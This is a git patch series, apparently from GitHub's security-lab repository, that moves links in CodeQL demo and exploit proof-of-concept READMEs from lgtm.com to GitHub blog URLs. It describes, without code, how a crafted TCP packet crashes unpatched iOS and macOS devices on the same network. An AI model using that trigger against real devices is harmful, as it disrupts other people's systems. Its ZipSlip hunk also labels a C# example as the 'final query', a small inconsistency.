--- a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md
+++ b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md
@@ -1,5 +1,5 @@
-[Blog post](https://lgtm.com/blog/rsyslog_snprintf_CVE-2018-1000140).
+[Blog post](https://github.blog/category/security/librelp-buffer-overflow-cve-2018-1000140/).
 
-This bug was found by one of our [default queries](https://lgtm.com/rules/1505913226124/). However, it also makes a good example of using QL interactively. The queries in this directory show how you can interactively develop the query.
+This bug was found by one of [CodeQL](https://codeql.github.com/) default queries. However, it also makes a good example of using QL interactively. The queries in this directory show how you can interactively develop the query.
 
-Use [this snapshot](https://downloads.lgtm.com/snapshots/cpp/rsyslog/rsyslog/rsyslog-all-revision-2018-April-27--14-12-31.zip).
+Use [this snapshot](https://github.com/github/securitylab/releases/download/rsyslog-codeql-database/rsyslog-all-revision-2018-April-27--14-12-31.zip).
diff --git a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/Video/rsyslog.srt b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/Video/rsyslog.srt
index f18de68..bf1f72b 100644
--- a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/Video/rsyslog.srt
+++ b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/Video/rsyslog.srt
@@ -1168,7 +1168,7 @@ which is now included
 
 285
 00:16:24,478 --> 00:16:28,858
-in our default suite on lgtm.com.
+in our default suite on lgtm.com (NOW DEPRECATED).
 
 286
 00:16:29,340 --> 00:16:32,231
diff --git a/CodeQL_Queries/csharp/ZipSlip/README.md b/CodeQL_Queries/csharp/ZipSlip/README.md
index 03822bb..3d5209d 100644
--- a/CodeQL_Queries/csharp/ZipSlip/README.md
+++ b/CodeQL_Queries/csharp/ZipSlip/README.md
@@ -2,7 +2,7 @@
 
 ## Snapshot
 
-Use [this snapshot](http://downloads.lgtm.com/snapshots/csharp/microsoft/powershell/PowerShell_PowerShell_csharp-srcVersion_450d884668ca477c6581ce597958f021fac30bff-dist_odasa-lgtm-2018-09-11-e5cbe16-linux64.zip)
+Use [this snapshot](https://github.com/github/securitylab/releases/download/powershell-codeql-database/PowerShell_PowerShell_csharp-srcVersion_450d884668ca477c6581ce597958f021fac30bff-dist_odasa-lgtm-2018-09-11-e5cbe16-linux64.zip)
 of PowerShell.
 
 ## Introduction
@@ -15,14 +15,12 @@ they had written a basic query and run it against a number of critical codebases
 Because Semmle has a close working relationship with Microsoft, we then helped Microsoft to refine
 that query further and submit it as a [pull request](https://github.com/Semmle/ql/pull/54) against our open source QL repository.
 
-It was deployed to [LGTM.com](https://lgtm.com) within 2 weeks where it was run over thousands of open source C# projects.
+It was deployed to the now deprecated LGTM website within 2 weeks where it was run over thousands of open source C# projects.
 
-Here are some [sample results](https://lgtm.com/rules/1506511188430/alerts/) for the ZipSlip query. 
-One of those projects was Microsoft PowerShell.
+The CodeQL ZipSlip query found a vulnerability in Microsoft PowerShell.
 
 As a result of this query, [a senior Microsoft engineer](https://github.com/TravisEz13)
-fixed this vulnerability in November 2018 in
-[this PR](https://lgtm.com/projects/g/PowerShell/PowerShell/rev/b39a41109d86d9ba75f966e2d7b52b81fa629150).
+fixed this vulnerability in November 2018.
 
 So how did they do it?
 
@@ -48,5 +46,24 @@ This uses a global taint tracking configuration.
 
 # Final query
 
-The [final query](https://lgtm.com/rules/1506511188430/) includes query help, and identifies various other sources and sinks,
-but uses the same general structure. It also includes metadata for LGTM.
+The final query below includes query help, and identifies various other sources and sinks,
+but uses the same general structure.
+
+```ql
+using System.IO;
+using System.IO.Compression;
+class Good
+{
+    public static void WriteToDirectory(ZipArchiveEntry entry,
+                                        string destDirectory)
+    {
+        string destFileName = Path.GetFullPath(Path.Combine(destDirectory, entry.FullName));
+        string fullDestDirPath = Path.GetFullPath(destDirectory + Path.DirectorySeparatorChar);
+        if (!destFileName.StartsWith(fullDestDirPath)) {
+            throw new System.InvalidOperationException("Entry is outside the target dir: " +
+                                                                                 destFileName);
+        }
+        entry.ExtractToFile(destFileName);
+    }
+}
+```
diff --git a/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md b/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md
index 99db29e..5b32d6c 100644
--- a/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md
+++ b/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md
@@ -1,6 +1,6 @@
-[Blog post](https://lgtm.com/blog/apache_struts_CVE-2017-9805)
+[Blog post](https://github.blog/category/security/apache-struts-vulnerability-cve-2017-9805/)
 
-[This snapshot](https://downloads.lgtm.com/snapshots/java/apache/struts/apache-struts-91ae344-CVE-2017-9805.zip) has the bug. Also, Mo has greated a copy of the project so that you can see [the result](https://lgtm.com/projects/g/mmosemmle/struts_9805/alerts/?mode=list&id=java%2Funsafe-deserialization) on [lgtm.com](https://lgtm.com/projects/g/mmosemmle/struts_9805).
+[This snapshot](https://github.com/github/securitylab/releases/download/apache-struts-codeql-database/apache-struts-91ae344-CVE-2017-9805.zip) has the bug.
 
 This directory contains a copy of `UnsafeDeserialization.qll`, because I get a syntax error when I try to do `import Security.CWE.CWE-502.UnsafeDeserialization`.
 
diff --git a/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md b/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md
index eb5e7bd..bd6e664 100644
--- a/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md
+++ b/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md
@@ -1,8 +1,8 @@
 # Apache Struts CVE-2018-11776
 
-[Blog post](https://lgtm.com/blog/apache_struts_CVE-2018-11776)
+[Blog post](https://github.blog/category/security/apache-struts-CVE-2018-11776/)
 
-[This snapshot](https://downloads.lgtm.com/snapshots/java/apache/struts/apache-struts-7fd1622-CVE-2018-11776.zip) has the bug.
+[This snapshot](https://github.com/github/securitylab/releases/download/apache-struts-CVE-2018-11776-codeql-database/apache-struts-7fd1622-CVE-2018-11776.zip) has the bug.
 
 The queries in this directory are slightly simplified to make the demo easier to follow. As a result, they don't find as many variants as the query described in the blog post. The full query can be found [here](https://github.com/Semmle/SecurityQueries/blob/e5c2be7d5eec46cd5a4a8ebdbe8cb63be2e36665/semmle-security-java/queries/struts/cve_2018_11776/final.ql).
 
diff --git a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/06_DataFlow_With_Sanitizer.ql b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/06_DataFlow_With_Sanitizer.ql
index 55e2e08..9bc5cf4 100644
--- a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/06_DataFlow_With_Sanitizer.ql
+++ b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/06_DataFlow_With_Sanitizer.ql
@@ -89,10 +89,7 @@ class IsVarNameSanitizer extends TaintTracking::AdditionalSanitizerGuardNode, Da
   }
 }
 
-// The vulnerability was fixed on 2018-03-23 by adding a call to isValidJSONPName:
-//
-// https://lgtm.com/projects/g/ether/etherpad-lite/rev/dd7894d3c9389a000d11d3a89962d9fcc9c6c44b
-//
+// The vulnerability was fixed on 2018-03-23 by adding a call to isValidJSONPName.
 // This version of the query adds a sanitizer to exclude those results.
 from Configuration xss, DataFlow::PathNode source, DataFlow::PathNode sink
 where xss.hasFlowPath(source, sink)
diff --git a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md
index 95a12a7..ca4dff7 100644
--- a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md
+++ b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md
@@ -1,5 +1,5 @@
-[Blog post](https://lgtm.com/blog/etherpad_CVE-2018-6835)
+[Blog post](https://github.blog/category/security/etherpad-reflected-file-download/)
 
-[This snapshot](https://downloads.lgtm.com/snapshots/javascript/ether/etherpad-lite/Etherpad_1.6.2.zip) has the vulnerability.
+[This snapshot](https://github.com/github/securitylab/releases/download/etherpad-vulnerable-codeql-database/Etherpad_1.6.2.zip) has the vulnerability.
 
-For the final query, which shows how to detect the sanitization function after the bug was fixed, use [this snapshot](https://downloads.lgtm.com/snapshots/javascript/ether/etherpad-lite/Etherpad_42e0646327527ff0db7bcbd93fb9d16ff738905b.zip).
+For the final query, which shows how to detect the sanitization function after the bug was fixed, use [this snapshot](https://github.com/github/securitylab/releases/download/etherpad-patched-codeql-database/Etherpad_42e0646327527ff0db7bcbd93fb9d16ff738905b.zip).
diff --git a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md
index 96ee549..fe520f4 100644
--- a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md
+++ b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md
@@ -1,8 +1,8 @@
 This is an alternative presentation of the query from the blog post about
-[Detecting Reflected File Download vulnerabilities using QL](https://lgtm.com/blog/etherpad_CVE-2018-6835),
+[Detecting Reflected File Download vulnerabilities using QL](https://github.blog/category/security/etherpad-reflected-file-download/),
 phrasing it as a customization of Semmle's standard Reflected XSS query.
 
-Use [this snapshot](https://downloads.lgtm.com/snapshots/javascript/ether/etherpad-lite/Etherpad_1.6.2.zip) (etherpad-lite v1.6.2)
+Use [this snapshot](https://github.com/github/securitylab/releases/download/etherpad-vulnerable-codeql-database/Etherpad_1.6.2.zip) (etherpad-lite v1.6.2)
 for the initial stages of the development. All snapshots were built using version 1.9.3 of the Semmle toolchain; if you are using
 1.20 or newer you will need to upgrade them.
 
@@ -24,13 +24,13 @@ for the initial stages of the development. All snapshots were built using versio
 
 The developers [fixed](https://github.com/ether/etherpad-lite/commit/a2992b3) the vulnerability by introducing a sanitizer using the
 [is-var-name](https://www.npmjs.com/package/is-var-name) npm package.
-[This snapshot](https://downloads.lgtm.com/snapshots/javascript/ether/etherpad-lite/Etherpad_a2992b3.zip) corresponds to the fix commit.
+[This snapshot](https://github.com/github/securitylab/releases/tag/etherpad-patched-codeql-database) corresponds to the fix commit.
 
 The standard library does not include a model for `is-var-name` (it is not a very widely used package), but
 [07_ReflectedXssWithSanitizer.ql](07_ReflectedXssWithSanitizer.ql) shows that it is very easy to add, making
 the result go away.
 
 Later on, this sanitizer was [replaced](https://github.com/ether/etherpad-lite/commit/dd7894d) with a custom sanitizer, which is,
-unfortunately, ineffective. ([This snapshot](https://downloads.lgtm.com/snapshots/javascript/ether/etherpad-lite/Etherpad_1.6.4.zip)
+unfortunately, ineffective. ([This snapshot](https://github.com/github/securitylab/releases/download/etherpad-1.6.4-patched-codeql-database/Etherpad_1.6.4.zip)
 of etherpad-lite v1.6.4 contains the new sanitizer.) However, all browsers mitigate against reflected file download
 vulnerabilities these days, so while the vulnerability still exists, it is no longer exploitable.
diff --git a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md
index 109c6cf..da1c15b 100644
--- a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md
+++ b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md
@@ -1,4 +1,4 @@
-For more information about this exploit PoC, see the [blog post](https://lgtm.com/blog/apple_xnu_dtrace_CVE-2017-13782).
+For more information about this exploit PoC, see the [blog post](https://github.blog/category/security/apple-xnu-dtrace-CVE-2017-13782/).
 
 This exploit PoC is designed for macOS High Sierra version 10.13. Apple released a patch on [Oct 31, 2017](https://support.apple.com/en-us/HT208221).
 
diff --git a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c
index 9b03e1c..10802c0 100644
--- a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c
+++ b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c
@@ -2,7 +2,7 @@
  * Copyright Kevin Backhouse / Semmle Ltd (2017)
  * License: Apache License 2.0
  * 
- * For more information: https://lgtm.com/blog/apple_xnu_dtrace_cve-2017-13782
+ * For more information: https://github.blog/category/security/
  */
 #include <stdlib.h>
 #include <stdint.h>
diff --git a/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md b/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md
index 1dfd364..5515cce 100644
--- a/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md
+++ b/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md
@@ -2,7 +2,7 @@
 
 Proof-of-concept exploit for a remotely triggerable heap buffer overflow vulnerability in iOS 11.4.1 and macOS 10.13.6. This exploit can be used to crash any vulnerable iOS or macOS device that is connected to the same network as the attacker's computer. The vulnerability can be triggered without any user interaction on the victim's device. The exploit involves sending a TCP packet with non-zero options in the IP and TCP headers. It is possible that some routers or switches will refuse to deliver such packets, but it has worked for me on all the home and office networks that I have tried it on. However, I have found that it is not usually possible to send the malicious packet across the internet. 
 
-For more information about the vulnerability, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_icmp_error_CVE-2018-4407).
+For more information about the vulnerability, see the [blog post](https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/).
 
 The buffer overflow is in this code [bsd/netinet/ip_icmp.c:339](https://github.com/apple/darwin-xnu/blob/0a798f6738bc1db01281fc08ae024145e84df927/bsd/netinet/ip_icmp.c#L339):
 
diff --git a/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md b/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md
index dc692ac..9c9de96 100644
--- a/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md
+++ b/SecurityExploits/apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md
@@ -2,7 +2,7 @@
 
 This directory contains a minimal [NFS](https://en.wikipedia.org/wiki/Network_File_System) server. It only implements a very small subset of the [NFS protocol](https://www.ietf.org/rfc/rfc1813.txt): just enough to trigger one of the buffer overflow vulnerabilities in the macOS XNU operating system kernel. The vulnerabilities were fixed in macOS version [10.13.6](https://support.apple.com/en-gb/HT208937).
 
-For more details about the vulnerabilities, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_nfs_vfsops_CVE-2018-4259).
+For more details about the vulnerabilities, see the [blog post](https://github.blog/category/security/cve-2018-4259-macos-nfs-vulnerability/).
 
 To compile and run (on Linux):
 
diff --git a/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md b/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md
index ea94b42..1a4e6a7 100644
--- a/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md
+++ b/SecurityExploits/apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md
@@ -4,4 +4,4 @@ Proof-of-concept exploit for remote code execution vulnerability in the packet-m
 
 Update: Apple's fix for the infinite loop bug was incomplete. The fix for CVE-2018-4460 was released on December 5, 2018.
 
-For details on how to compile and run this exploit, see the [blog post on lgtm.com](https://lgtm.com/blog/apple_xnu_packet_mangler_CVE-2017-13904).
+For details on how to compile and run this exploit, see the [blog post](https://github.blog/category/security/CVE-2018-4249-apple-xnu-packet-mangler/).
diff --git a/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md b/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md
index fe05459..bfdae3f 100644
--- a/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md
+++ b/SecurityExploits/rsyslog/CVE-2018-1000140_snprintf_librelp/README.md
@@ -2,4 +2,4 @@
 
 This directory contains a proof-of-concept exploit for a remote code execution vulnerability in [librelp](https://www.rsyslog.com/librelp/). The vulnerability was fixed in librelp version [1.2.15](https://www.rsyslog.com/librelp-1-2-15/), released on 2018-03-22.
 
-For more information about the vulnerability and for instructions on how to run the proof-of-concept exploit, please see our blog post which is published on both [Rainer Gerhards's blog](https://rainer.gerhards.net/how-we-found-and-fixed-cve-in-librelp) and on the [LGTM blog](https://lgtm.com/blog/rsyslog_snprintf_CVE-2018-1000140).
+For more information about the vulnerability and for instructions on how to run the proof-of-concept exploit, please see our blog post which is published on both [Rainer Gerhards's blog](https://rainer.gerhards.net/how-we-found-and-fixed-cve-in-librelp) and on the [blog](https://github.blog/category/security/librelp-buffer-overflow-cve-2018-1000140/).

From a29b9b8c90fd7224cdde5d1233a16ac0f7371c7b Mon Sep 17 00:00:00 2001
From: Joseph Katsioloudes <jkcso@github.com>
Date: Wed, 30 Nov 2022 22:12:32 +0000
Subject: [PATCH 096/104] Apply suggestions from code review

Co-authored-by: Xavier RENE-CORAIL <xcorail@github.com>
---
 CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md        | 2 +-
 CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md          | 2 +-
 .../cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md      | 2 +-
 .../00_mbuf_copydata_tainted_size.ql                            | 2 +-
 CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md       | 2 +-
 CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md   | 2 +-
 CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md           | 2 +-
 CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md       | 2 +-
 CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md      | 2 +-
 CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md      | 2 +-
 .../javascript/Etherpad_CVE-2018-6835/alternative/README.md     | 2 +-
 .../apple/darwin-xnu/DTrace/CVE-2017-13782/README.md            | 2 +-
 .../apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c | 1 -
 .../apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md         | 2 +-
 .../apple/darwin-xnu/nfs_vfsops_CVE-2018-4259/README.md         | 2 +-
 .../apple/darwin-xnu/packet_mangler_CVE-2017-13904/README.md    | 2 +-
 .../rsyslog/CVE-2018-1000140_snprintf_librelp/README.md         | 2 +-
 17 files changed, 16 insertions(+), 17 deletions(-)

diff --git a/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md b/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md
index 9955967..5deeddc 100644
--- a/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md
+++ b/CodeQL_Queries/cpp/Qualcomm-MSM-copy_from_user/README.md
@@ -1,4 +1,4 @@
-[Blog post](https://github.blog/category/security/stack-buffer-overflow-qualcomm-msm/)
+[Blog post](https://securitylab.github.com/research/stack-buffer-overflow-qualcomm-msm/)
 
 [Snapshot for this demo](https://github.com/github/securitylab/releases/download/qualcomm-msm-codeql-database/msm-4.4-revision-2017-May-07--08-33-56.zip)
 
diff --git a/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md b/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md
index fe8c552..042a1df 100644
--- a/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md
+++ b/CodeQL_Queries/cpp/XNU_DTrace_CVE-2017-13782/README.md
@@ -1,4 +1,4 @@
-[Blog post](https://github.blog/category/security/apple-xnu-dtrace-CVE-2017-13782/)
+[Blog post](https://securitylab.github.com/research/apple-xnu-dtrace-CVE-2017-13782/)
 
 Bug was fixed in [macOS High Sierra 10.13.1](https://support.apple.com/en-us/HT208221).
 
diff --git a/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md b/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md
index c0151de..d8abe1c 100644
--- a/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md
+++ b/CodeQL_Queries/cpp/XNU_NFS_Boot_CVE-2018-4136_CVE-2018-4160/README.md
@@ -1,4 +1,4 @@
-[Blog post](https://github.blog/category/security/apple-xnu-nfs-boot/)
+[Blog post](https://securitylab.github.com/research/apple-xnu-nfs-boot/)
 
 Bug was fixed in [macOS High Sierra 10.13.4](https://support.apple.com/en-gb/HT208692).
 
diff --git a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql
index 29ecd05..8a11f96 100644
--- a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql
+++ b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/00_mbuf_copydata_tainted_size.ql
@@ -10,7 +10,7 @@
 /*
  * This query is explained in detail in this blog post:
  *
- * https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/
+ * https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407/
  *
  * It is based on the assumption that the function `m_mtod`, which returns
  * a pointer to the data stored in an `mbuf`, often returns a buffer
diff --git a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md
index 9ec2dfe..adbf857 100644
--- a/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md
+++ b/CodeQL_Queries/cpp/XNU_icmp_error_CVE-2018-4407/README.md
@@ -2,4 +2,4 @@
 
 Use [this snapshot](https://github.com/github/securitylab/releases/download/xnu-macos10.13.6-codeql-database/xnu-4570.71.2_macOS-10.13.6_Semmle-1.18.0.zip) for the demo.
 
-There are two parts to this demo. The first part is `00_mbuf_copydata_tainted_size.ql`, which is the dataflow query that found the bug. It is explained in detail in [this blog post](https://github.blog/category/security/apple-xnu-icmp-error-CVE-2018-4407/). The problem with this query is that it does not find the true source of the untrusted data. This is because it assumes that any call to the function named `m_mtod` can return untrusted data. But not every `mbuf` contains untrusted data. So the second part of the demo, corresponding to [this blog post](https://github.blog/category/security/apple-xnu-exploit-icmp-poc/), is to use dataflow analysis to find a path that gets an untrusted `mbuf` into `icmp_error`. The second part of the demo is developed in steps, starting with `01_paths_to_icmp_error.ql`.
+There are two parts to this demo. The first part is `00_mbuf_copydata_tainted_size.ql`, which is the dataflow query that found the bug. It is explained in detail in [this blog post](https://securitylab.github.com/research/apple-xnu-icmp-error-CVE-2018-4407/). The problem with this query is that it does not find the true source of the untrusted data. This is because it assumes that any call to the function named `m_mtod` can return untrusted data. But not every `mbuf` contains untrusted data. So the second part of the demo, corresponding to [this blog post](https://securitylab.github.com/research/apple-xnu-exploit-icmp-poc/), is to use dataflow analysis to find a path that gets an untrusted `mbuf` into `icmp_error`. The second part of the demo is developed in steps, starting with `01_paths_to_icmp_error.ql`.
diff --git a/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md b/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md
index b0039e9..9304638 100644
--- a/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md
+++ b/CodeQL_Queries/cpp/XNU_packet-mangler_CVE-2018-4249/README.md
@@ -1,4 +1,4 @@
-https://github.blog/category/security/CVE-2018-4249-apple-xnu-packet-mangler/
+https://securitylab.github.com/research/CVE-2018-4249-apple-xnu-packet-mangler/
 
 There were multiple bugs in `packet_mangler.c`. One of the infinite loop bugs was fixed in macOS High Sierra 10.13.2. The other bugs were fixed in macOS High Sierra 10.13.5.
 
diff --git a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md
index ee53f5c..b03a616 100644
--- a/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md
+++ b/CodeQL_Queries/cpp/rsyslog_CVE-2018-1000140/README.md
@@ -1,4 +1,4 @@
-[Blog post](https://github.blog/category/security/librelp-buffer-overflow-cve-2018-1000140/).
+[Blog post](https://securitylab.github.com/research/librelp-buffer-overflow-cve-2018-1000140/).
 
 This bug was found by one of [CodeQL](https://codeql.github.com/) default queries. However, it also makes a good example of using QL interactively. The queries in this directory show how you can interactively develop the query.
 
diff --git a/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md b/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md
index 5b32d6c..f53ac28 100644
--- a/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md
+++ b/CodeQL_Queries/java/Apache_Struts_CVE-2017-9805/README.md
@@ -1,4 +1,4 @@
-[Blog post](https://github.blog/category/security/apache-struts-vulnerability-cve-2017-9805/)
+[Blog post](https://securitylab.github.com/research/apache-struts-vulnerability-cve-2017-9805/)
 
 [This snapshot](https://github.com/github/securitylab/releases/download/apache-struts-codeql-database/apache-struts-91ae344-CVE-2017-9805.zip) has the bug.
 
diff --git a/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md b/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md
index bd6e664..e03b9a1 100644
--- a/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md
+++ b/CodeQL_Queries/java/Apache_Struts_CVE-2018-11776/README.md
@@ -1,6 +1,6 @@
 # Apache Struts CVE-2018-11776
 
-[Blog post](https://github.blog/category/security/apache-struts-CVE-2018-11776/)
+[Blog post](https://securitylab.github.com/research/apache-struts-CVE-2018-11776/)
 
 [This snapshot](https://github.com/github/securitylab/releases/download/apache-struts-CVE-2018-11776-codeql-database/apache-struts-7fd1622-CVE-2018-11776.zip) has the bug.
 
diff --git a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md
index ca4dff7..ab633c3 100644
--- a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md
+++ b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/README.md
@@ -1,4 +1,4 @@
-[Blog post](https://github.blog/category/security/etherpad-reflected-file-download/)
+[Blog post](https://securitylab.github.com/research/etherpad-reflected-file-download/)
 
 [This snapshot](https://github.com/github/securitylab/releases/download/etherpad-vulnerable-codeql-database/Etherpad_1.6.2.zip) has the vulnerability.
 
diff --git a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md
index fe520f4..041dc4b 100644
--- a/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md
+++ b/CodeQL_Queries/javascript/Etherpad_CVE-2018-6835/alternative/README.md
@@ -1,5 +1,5 @@
 This is an alternative presentation of the query from the blog post about
-[Detecting Reflected File Download vulnerabilities using QL](https://github.blog/category/security/etherpad-reflected-file-download/),
+[Detecting Reflected File Download vulnerabilities using QL](https://securitylab.github.com/research/etherpad-reflected-file-download/),
 phrasing it as a customization of Semmle's standard Reflected XSS query.
 
 Use [this snapshot](https://github.com/github/securitylab/releases/download/etherpad-vulnerable-codeql-database/Etherpad_1.6.2.zip) (etherpad-lite v1.6.2)
diff --git a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md
index da1c15b..96d0ac4 100644
--- a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md
+++ b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/README.md
@@ -1,4 +1,4 @@
-For more information about this exploit PoC, see the [blog post](https://github.blog/category/security/apple-xnu-dtrace-CVE-2017-13782/).
+For more information about this exploit PoC, see the [blog post](https://securitylab.github.com/research/apple-xnu-dtrace-CVE-2017-13782/).
 
 This exploit PoC is designed for macOS High Sierra version 10.13. Apple released a patch on [Oct 31, 2017](https://support.apple.com/en-us/HT208221).
 
diff --git a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c
index 10802c0..f838f4f 100644
--- a/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c
+++ b/SecurityExploits/apple/darwin-xnu/DTrace/CVE-2017-13782/cve-2017-13782-poc.c
@@ -2,7 +2,6 @@
  * Copyright Kevin Backhouse / Semmle Ltd (2017)
  * License: Apache License 2.0
  * 
- * For more information: https://github.blog/category/security/
  */
 #include <stdlib.h>
 #include <stdint.h>
diff --git a/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md b/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md
index 5515cce..b6b0d40 100644
--- a/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md
+++ b/SecurityExploits/apple/darwin-xnu/icmp_error_CVE-2018-4407/README.md
@@ -2,7 +2,7 @@
 
